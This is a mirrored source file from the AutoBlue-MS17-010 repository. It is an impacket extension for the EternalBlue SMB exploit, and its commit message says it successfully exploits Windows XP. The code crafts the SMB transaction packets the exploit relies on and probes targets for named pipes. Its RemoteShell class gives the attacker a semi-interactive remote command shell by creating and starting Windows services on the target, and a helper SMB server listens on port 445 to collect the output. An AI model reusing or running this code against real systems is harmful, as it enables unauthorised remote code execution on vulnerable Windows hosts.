mirror of
https://github.com/3ndG4me/AutoBlue-MS17-010
synced 2026-06-08 10:17:11 +00:00
Derrick Karpo
cae955e995
* Force byte literals where required and corrected the string.ascii_letters(). Also corrected the spacing to conform to the Python style guide (4 spaces and not tabs). * Force byte literals where required and removed all trailing whitespace. Added service_exec() from https://www.exploit-db.com/exploits/42315 and updated the examples in do_system_mysmb_session(). Confirmed to successfully exploit Windows XP. * Uncomment the RemoteShell() as it is confirmed to work by the upstream author.
582 lines
25 KiB
Python
582 lines
25 KiB
Python
# impacket SMB extension for MS17-010 exploit.
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# this file contains only valid SMB packet format operation.
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from impacket import smb, smbconnection
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from impacket.dcerpc.v5 import transport, scmr
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from struct import pack
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from threading import Thread
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import os
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import cmd
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import string
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import random
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import logging
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def getNTStatus(self):
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return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
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setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
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############# SMB_COM_TRANSACTION_SECONDARY (0x26)
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class SMBTransactionSecondary_Parameters(smb.SMBCommand_Parameters):
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structure = (
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('TotalParameterCount','<H=0'),
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('TotalDataCount','<H'),
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('ParameterCount','<H=0'),
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('ParameterOffset','<H=0'),
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('ParameterDisplacement','<H=0'),
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('DataCount','<H'),
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('DataOffset','<H'),
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('DataDisplacement','<H=0'),
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)
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# Note: impacket-0.9.15 struct has no ParameterDisplacement
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############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
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class SMBTransaction2Secondary_Parameters(smb.SMBCommand_Parameters):
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structure = (
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('TotalParameterCount','<H=0'),
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('TotalDataCount','<H'),
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('ParameterCount','<H=0'),
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('ParameterOffset','<H=0'),
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('ParameterDisplacement','<H=0'),
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('DataCount','<H'),
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('DataOffset','<H'),
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('DataDisplacement','<H=0'),
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('FID','<H=0'),
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)
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############# SMB_COM_NT_TRANSACTION_SECONDARY (0xA1)
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class SMBNTTransactionSecondary_Parameters(smb.SMBCommand_Parameters):
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structure = (
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('Reserved1','3s=""'),
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('TotalParameterCount','<L'),
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('TotalDataCount','<L'),
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('ParameterCount','<L'),
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('ParameterOffset','<L'),
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('ParameterDisplacement','<L=0'),
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('DataCount','<L'),
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('DataOffset','<L'),
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('DataDisplacement','<L=0'),
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('Reserved2','<B=0'),
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)
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def _put_trans_data(transCmd, parameters, data, noPad=False):
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# have to init offset before calling len()
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transCmd['Parameters']['ParameterOffset'] = 0
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transCmd['Parameters']['DataOffset'] = 0
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# SMB header: 32 bytes
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# WordCount: 1 bytes
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# ByteCount: 2 bytes
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# Note: Setup length is included when len(param) is called
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offset = 32 + 1 + len(transCmd['Parameters']) + 2
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transData = b''
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if len(parameters):
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padLen = 0 if noPad else (4 - offset % 4 ) % 4
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transCmd['Parameters']['ParameterOffset'] = offset + padLen
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transData = (b'\x00' * padLen) + parameters
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offset += padLen + len(parameters)
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if len(data):
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padLen = 0 if noPad else (4 - offset % 4 ) % 4
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transCmd['Parameters']['DataOffset'] = offset + padLen
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transData += (b'\x00' * padLen) + data
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transCmd['Data'] = transData
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origin_NewSMBPacket_addCommand = getattr(smb.NewSMBPacket, "addCommand")
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login_MaxBufferSize = 61440
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def NewSMBPacket_addCommand_hook_login(self, command):
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# restore NewSMBPacket.addCommand
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setattr(smb.NewSMBPacket, "addCommand", origin_NewSMBPacket_addCommand)
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if isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Extended_Parameters):
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command['Parameters']['MaxBufferSize'] = login_MaxBufferSize
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elif isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Parameters):
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command['Parameters']['MaxBuffer'] = login_MaxBufferSize
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# call original one
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origin_NewSMBPacket_addCommand(self, command)
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def _setup_login_packet_hook(maxBufferSize):
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# setup hook for next NewSMBPacket.addCommand if maxBufferSize is not None
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if maxBufferSize is not None:
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global login_MaxBufferSize
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login_MaxBufferSize = maxBufferSize
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setattr(smb.NewSMBPacket, "addCommand", NewSMBPacket_addCommand_hook_login)
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class MYSMB(smb.SMB):
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def __init__(self, remote_host, use_ntlmv2=True, timeout=8):
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self.__use_ntlmv2 = use_ntlmv2
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self._default_tid = 0
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self._pid = os.getpid() & 0xffff
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self._last_mid = random.randint(1000, 20000)
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if 0x4000 <= self._last_mid <= 0x4110:
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self._last_mid += 0x120
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self._pkt_flags2 = 0
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self._last_tid = 0 # last tid from connect_tree()
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self._last_fid = 0 # last fid from nt_create_andx()
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self._smbConn = None
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smb.SMB.__init__(self, remote_host, remote_host, timeout=timeout)
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def find_named_pipe(self, firstOnly=True):
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pipes_file = '/usr/share/metasploit-framework/data/wordlists/named_pipes.txt'
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try:
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with open(pipes_file) as f:
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pipes = [ x.strip() for x in f.readlines()]
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except IOError as e:
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print("[-] Could not open {}, trying hardcoded values".format(pipes_file))
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pipes = [ 'netlogon', 'lsarpc', 'samr', 'browser', 'spoolss', 'atsvc', 'DAV RPC SERVICE', 'epmapper', 'eventlog', 'InitShutdown', 'keysvc', 'lsass', 'LSM_API_service', 'ntsvcs', 'plugplay', 'protected_storage', 'router', 'SapiServerPipeS-1-5-5-0-70123', 'scerpc', 'srvsvc', 'tapsrv', 'trkwks', 'W32TIME_ALT', 'wkssvc','PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', 'db2remotecmd' ]
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tid = self.tree_connect_andx('\\\\'+self.get_remote_host()+'\\'+'IPC$')
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found_pipes = []
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for pipe in pipes:
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try:
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fid = self.nt_create_andx(tid, pipe)
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self.close(tid, fid)
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found_pipes.append(pipe)
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print("[+] Found pipe '{}'".format(pipe))
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if firstOnly:
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break
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except smb.SessionError as e:
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pass
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self.disconnect_tree(tid)
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if len(found_pipes) > 0:
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return found_pipes[0]
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else:
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return None
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def set_pid(self, pid):
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self._pid = pid
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def get_pid(self):
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return self._pid
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def set_last_mid(self, mid):
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self._last_mid = mid
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def next_mid(self):
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self._last_mid += random.randint(1, 20)
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if 0x4000 <= self._last_mid <= 0x4110:
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self._last_mid += 0x120
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return self._last_mid
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def get_smbconnection(self):
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if self._smbConn is None:
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self.smbConn = smbconnection.SMBConnection(self.get_remote_host(), self.get_remote_host(), existingConnection=self)
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return self.smbConn
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def get_dce_rpc(self, named_pipe):
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smbConn = self.get_smbconnection()
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rpctransport = transport.SMBTransport(self.get_remote_host(), self.get_remote_host(), filename='\\'+named_pipe, smb_connection=smbConn)
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return rpctransport.get_dce_rpc()
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# override SMB.neg_session() to allow forcing ntlm authentication
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def neg_session(self, extended_security=True, negPacket=None):
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smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
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# to use any login method, SMB must not be used from multiple thread
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def login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None):
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_setup_login_packet_hook(maxBufferSize)
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smb.SMB.login(self, user, password, domain, lmhash, nthash)
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def login_standard(self, user, password, domain='', lmhash='', nthash='', maxBufferSize=None):
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_setup_login_packet_hook(maxBufferSize)
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smb.SMB.login_standard(self, user, password, domain, lmhash, nthash)
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def login_extended(self, user, password, domain='', lmhash='', nthash='', use_ntlmv2=True, maxBufferSize=None):
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_setup_login_packet_hook(maxBufferSize)
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smb.SMB.login_extended(self, user, password, domain, lmhash, nthash, use_ntlmv2)
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def connect_tree(self, path, password=None, service=smb.SERVICE_ANY, smb_packet=None):
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self._last_tid = smb.SMB.tree_connect_andx(self, path, password, service, smb_packet)
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return self._last_tid
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def get_last_tid(self):
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return self._last_tid
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def nt_create_andx(self, tid, filename, smb_packet=None, cmd=None, shareAccessMode=smb.FILE_SHARE_READ|smb.FILE_SHARE_WRITE, disposition=smb.FILE_OPEN, accessMask=0x2019f):
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self._last_fid = smb.SMB.nt_create_andx(self, tid, filename, smb_packet, cmd, shareAccessMode, disposition, accessMask)
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return self._last_fid
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def get_last_fid(self):
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return self._last_fid
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def set_default_tid(self, tid):
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self._default_tid = tid
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def set_pkt_flags2(self, flags):
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self._pkt_flags2 = flags
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def send_echo(self, data):
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pkt = smb.NewSMBPacket()
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pkt['Tid'] = self._default_tid
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transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
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transCommand['Parameters'] = smb.SMBEcho_Parameters()
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transCommand['Data'] = smb.SMBEcho_Data()
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transCommand['Parameters']['EchoCount'] = 1
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transCommand['Data']['Data'] = data
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pkt.addCommand(transCommand)
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self.sendSMB(pkt)
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return self.recvSMB()
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def do_write_andx_raw_pipe(self, fid, data, mid=None, pid=None, tid=None):
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writeAndX = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX)
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writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters_Short()
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writeAndX['Parameters']['Fid'] = fid
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writeAndX['Parameters']['Offset'] = 0
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writeAndX['Parameters']['WriteMode'] = 4 # SMB_WMODE_WRITE_RAW_NAMED_PIPE
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writeAndX['Parameters']['Remaining'] = 12345 # can be any. raw named pipe does not use it
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writeAndX['Parameters']['DataLength'] = len(data)
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writeAndX['Parameters']['DataOffset'] = 32 + len(writeAndX['Parameters']) + 1 + 2 + 1 # WordCount(1), ByteCount(2), Padding(1)
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writeAndX['Data'] = '\x00' + data # pad 1 byte
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self.send_raw(self.create_smb_packet(writeAndX, mid, pid, tid))
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return self.recvSMB()
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def create_smb_packet(self, smbReq, mid=None, pid=None, tid=None):
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if mid is None:
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mid = self.next_mid()
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pkt = smb.NewSMBPacket()
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pkt.addCommand(smbReq)
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pkt['Tid'] = self._default_tid if tid is None else tid
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pkt['Uid'] = self._uid
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pkt['Pid'] = self._pid if pid is None else pid
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pkt['Mid'] = mid
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flags1, flags2 = self.get_flags()
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pkt['Flags1'] = flags1
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pkt['Flags2'] = self._pkt_flags2 if self._pkt_flags2 != 0 else flags2
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if self._SignatureEnabled:
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pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE
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self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse)
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req = pkt.getData()
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return b'\x00'*2 + pack('>H', len(req)) + req
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def send_raw(self, data):
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self.get_socket().send(data)
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def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
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if maxSetupCount is None:
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maxSetupCount = len(setup)
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if totalParameterCount is None:
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totalParameterCount = len(param)
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if totalDataCount is None:
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totalDataCount = len(data)
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if maxParameterCount is None:
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maxParameterCount = totalParameterCount
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if maxDataCount is None:
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maxDataCount = totalDataCount
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transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION)
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transCmd['Parameters'] = smb.SMBTransaction_Parameters()
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transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
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transCmd['Parameters']['TotalDataCount'] = totalDataCount
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transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
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transCmd['Parameters']['MaxDataCount'] = maxDataCount
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transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
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transCmd['Parameters']['Flags'] = 0
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transCmd['Parameters']['Timeout'] = 0xffffffff
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transCmd['Parameters']['ParameterCount'] = len(param)
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transCmd['Parameters']['DataCount'] = len(data)
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transCmd['Parameters']['Setup'] = setup
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_put_trans_data(transCmd, param, data, noPad)
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return self.create_smb_packet(transCmd, mid, pid, tid)
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def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
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self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
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return self.recvSMB()
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def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
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transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION_SECONDARY)
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transCmd['Parameters'] = SMBTransactionSecondary_Parameters()
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transCmd['Parameters']['TotalParameterCount'] = len(param)
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transCmd['Parameters']['TotalDataCount'] = len(data)
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transCmd['Parameters']['ParameterCount'] = len(param)
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transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
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transCmd['Parameters']['DataCount'] = len(data)
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transCmd['Parameters']['DataDisplacement'] = dataDisplacement
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_put_trans_data(transCmd, param, data, noPad)
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return self.create_smb_packet(transCmd, mid, pid, tid)
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def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
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self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
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def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
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if maxSetupCount is None:
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maxSetupCount = len(setup)
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if totalParameterCount is None:
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totalParameterCount = len(param)
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if totalDataCount is None:
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totalDataCount = len(data)
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if maxParameterCount is None:
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maxParameterCount = totalParameterCount
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if maxDataCount is None:
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maxDataCount = totalDataCount
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transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2)
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transCmd['Parameters'] = smb.SMBTransaction2_Parameters()
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transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
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transCmd['Parameters']['TotalDataCount'] = totalDataCount
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transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
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transCmd['Parameters']['MaxDataCount'] = maxDataCount
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transCmd['Parameters']['MaxSetupCount'] = len(setup)
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transCmd['Parameters']['Flags'] = 0
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transCmd['Parameters']['Timeout'] = 0xffffffff
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transCmd['Parameters']['ParameterCount'] = len(param)
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transCmd['Parameters']['DataCount'] = len(data)
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transCmd['Parameters']['Setup'] = setup
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_put_trans_data(transCmd, param, data, noPad)
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return self.create_smb_packet(transCmd, mid, pid, tid)
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def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
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transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
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transCmd['Parameters'] = SMBTransaction2Secondary_Parameters()
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transCmd['Parameters']['TotalParameterCount'] = len(param)
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transCmd['Parameters']['TotalDataCount'] = len(data)
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transCmd['Parameters']['ParameterCount'] = len(param)
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transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
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transCmd['Parameters']['DataCount'] = len(data)
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transCmd['Parameters']['DataDisplacement'] = dataDisplacement
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_put_trans_data(transCmd, param, data, noPad)
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return self.create_smb_packet(transCmd, mid, pid, tid)
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def send_trans2_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
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self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
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def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
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if maxSetupCount is None:
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maxSetupCount = len(setup)
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if totalParameterCount is None:
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totalParameterCount = len(param)
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if totalDataCount is None:
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totalDataCount = len(data)
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if maxParameterCount is None:
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maxParameterCount = totalParameterCount
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if maxDataCount is None:
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maxDataCount = totalDataCount
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transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
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transCmd['Parameters'] = smb.SMBNTTransaction_Parameters()
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transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
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transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
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transCmd['Parameters']['TotalDataCount'] = totalDataCount
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transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
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transCmd['Parameters']['MaxDataCount'] = maxDataCount
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transCmd['Parameters']['ParameterCount'] = len(param)
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transCmd['Parameters']['DataCount'] = len(data)
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transCmd['Parameters']['Function'] = function
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transCmd['Parameters']['Setup'] = setup
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_put_trans_data(transCmd, param, data, noPad)
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return self.create_smb_packet(transCmd, mid, pid, tid)
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def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
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self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
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return self.recvSMB()
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def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
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transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY)
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transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters()
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transCmd['Parameters']['TotalParameterCount'] = len(param)
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transCmd['Parameters']['TotalDataCount'] = len(data)
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transCmd['Parameters']['ParameterCount'] = len(param)
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transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
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transCmd['Parameters']['DataCount'] = len(data)
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transCmd['Parameters']['DataDisplacement'] = dataDisplacement
|
|
_put_trans_data(transCmd, param, data, noPad)
|
|
return self.create_smb_packet(transCmd, mid, pid, tid)
|
|
|
|
def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
|
self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
|
|
|
|
def recv_transaction_data(self, mid, minLen):
|
|
data = b''
|
|
while len(data) < minLen:
|
|
recvPkt = self.recvSMB()
|
|
if recvPkt['Mid'] != mid:
|
|
continue
|
|
resp = smb.SMBCommand(recvPkt['Data'][0])
|
|
data += resp['Data'][1:] # skip padding
|
|
#print(len(data))
|
|
return data
|
|
|
|
class RemoteShell(cmd.Cmd):
|
|
def __init__(self, share, rpc, mode, serviceName):
|
|
cmd.Cmd.__init__(self)
|
|
self.__share = share
|
|
self.__mode = mode
|
|
self.__outputFilename = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
|
|
self.__output = '\\\\127.0.0.1\\{}\\{}'.format(self.__share,self.__outputFilename)
|
|
self.__batchFile = '%TEMP%\\{}.bat'.format(''.join([random.choice(string.ascii_letters) for _ in range(4)]))
|
|
self.__outputBuffer = b''
|
|
self.__command = ''
|
|
self.__shell = '%COMSPEC% /Q /c '
|
|
self.__serviceName = serviceName
|
|
self.__rpc = rpc
|
|
self.intro = '[!] Dropping a semi-interactive shell (remember to escape special chars with ^) \n[!] Executing interactive programs will hang shell!'
|
|
self.__scmr = rpc.get_dce_rpc('svcctl')
|
|
|
|
try:
|
|
self.__scmr.connect()
|
|
except Exception as e:
|
|
logging.critical(str(e))
|
|
sys.exit(1)
|
|
|
|
s = rpc.get_smbconnection()
|
|
|
|
# We don't wanna deal with timeouts from now on.
|
|
s.setTimeout(100000)
|
|
if mode == 'SERVER':
|
|
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
|
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
|
|
|
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
|
resp = scmr.hROpenSCManagerW(self.__scmr)
|
|
self.__scHandle = resp['lpScHandle']
|
|
self.transferClient = rpc.get_smbconnection()
|
|
self.do_cd('')
|
|
|
|
def finish(self):
|
|
# Just in case the service is still created
|
|
try:
|
|
self.__scmr = self.__rpc.get_dce_rpc()
|
|
self.__scmr.connect()
|
|
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
|
resp = scmr.hROpenSCManagerW(self.__scmr)
|
|
self.__scHandle = resp['lpScHandle']
|
|
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
|
|
service = resp['lpServiceHandle']
|
|
scmr.hRDeleteService(self.__scmr, service)
|
|
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
|
scmr.hRCloseServiceHandle(self.__scmr, service)
|
|
except scmr.DCERPCException:
|
|
pass
|
|
|
|
def do_shell(self, s):
|
|
os.system(s)
|
|
|
|
def do_exit(self, s):
|
|
return True
|
|
|
|
def emptyline(self):
|
|
return False
|
|
|
|
def do_cd(self, s):
|
|
# We just can't CD or maintain track of the target dir.
|
|
if len(s) > 0:
|
|
logging.error("You can't CD under SMBEXEC. Use full paths.")
|
|
|
|
self.execute_remote('cd ' )
|
|
if len(self.__outputBuffer) > 0:
|
|
# Stripping CR/LF
|
|
self.prompt = self.__outputBuffer.decode().replace('\r\n','') + '>'
|
|
self.__outputBuffer = b''
|
|
|
|
def do_CD(self, s):
|
|
return self.do_cd(s)
|
|
|
|
def default(self, line):
|
|
if line != '':
|
|
self.send_data(line)
|
|
|
|
def get_output(self):
|
|
def output_callback(data):
|
|
self.__outputBuffer += data
|
|
|
|
if self.__mode == 'SHARE':
|
|
self.transferClient.getFile(self.__share, self.__outputFilename, output_callback)
|
|
self.transferClient.deleteFile(self.__share, self.__outputFilename)
|
|
else:
|
|
fd = open(SMBSERVER_DIR + '/' + self.__outputFilename,'r')
|
|
output_callback(fd.read())
|
|
fd.close()
|
|
os.unlink(SMBSERVER_DIR + '/' + self.__outputFilename)
|
|
|
|
def execute_remote(self, data):
|
|
to_batch = '{} echo {} ^> {} 2^>^&1 > {}'.format(self.__shell, data, self.__output, self.__batchFile)
|
|
command = '{} & {} {}'.format(to_batch, self.__shell, self.__batchFile)
|
|
if self.__mode == 'SERVER':
|
|
command += ' & ' + self.__copyBack
|
|
command = '{} & del {}'.format(command, self.__batchFile )
|
|
logging.debug('Executing %s' % command)
|
|
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName,
|
|
lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)
|
|
service = resp['lpServiceHandle']
|
|
|
|
try:
|
|
scmr.hRStartServiceW(self.__scmr, service)
|
|
except:
|
|
pass
|
|
scmr.hRDeleteService(self.__scmr, service)
|
|
scmr.hRCloseServiceHandle(self.__scmr, service)
|
|
self.get_output()
|
|
#print(self.__outputBuffer)
|
|
|
|
def send_data(self, data):
|
|
self.execute_remote(data)
|
|
print(self.__outputBuffer.decode())
|
|
self.__outputBuffer = b''
|
|
|
|
class SMBServer(Thread):
|
|
def __init__(self):
|
|
Thread.__init__(self)
|
|
self.smb = None
|
|
|
|
def cleanup_server(self):
|
|
logging.info('Cleaning up..')
|
|
try:
|
|
os.unlink(SMBSERVER_DIR + '/smb.log')
|
|
except:
|
|
pass
|
|
os.rmdir(SMBSERVER_DIR)
|
|
|
|
def run(self):
|
|
# Here we write a mini config for the server
|
|
smbConfig = ConfigParser.ConfigParser()
|
|
smbConfig.add_section('global')
|
|
smbConfig.set('global','server_name','server_name')
|
|
smbConfig.set('global','server_os','UNIX')
|
|
smbConfig.set('global','server_domain','WORKGROUP')
|
|
smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log')
|
|
smbConfig.set('global','credentials_file','')
|
|
|
|
# Let's add a dummy share
|
|
smbConfig.add_section(DUMMY_SHARE)
|
|
smbConfig.set(DUMMY_SHARE,'comment','')
|
|
smbConfig.set(DUMMY_SHARE,'read only','no')
|
|
smbConfig.set(DUMMY_SHARE,'share type','0')
|
|
smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
|
|
|
|
# IPC always needed
|
|
smbConfig.add_section('IPC$')
|
|
smbConfig.set('IPC$','comment','')
|
|
smbConfig.set('IPC$','read only','yes')
|
|
smbConfig.set('IPC$','share type','3')
|
|
smbConfig.set('IPC$','path')
|
|
|
|
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
|
|
logging.info('Creating tmp directory')
|
|
try:
|
|
os.mkdir(SMBSERVER_DIR)
|
|
except Exception as e:
|
|
logging.critical(str(e))
|
|
pass
|
|
logging.info('Setting up SMB Server')
|
|
self.smb.processConfigFile()
|
|
logging.info('Ready to listen...')
|
|
try:
|
|
self.smb.serve_forever()
|
|
except:
|
|
pass
|
|
|
|
def stop(self):
|
|
self.cleanup_server()
|
|
self.smb.socket.close()
|
|
self.smb.server_close()
|
|
self._Thread__stop()
|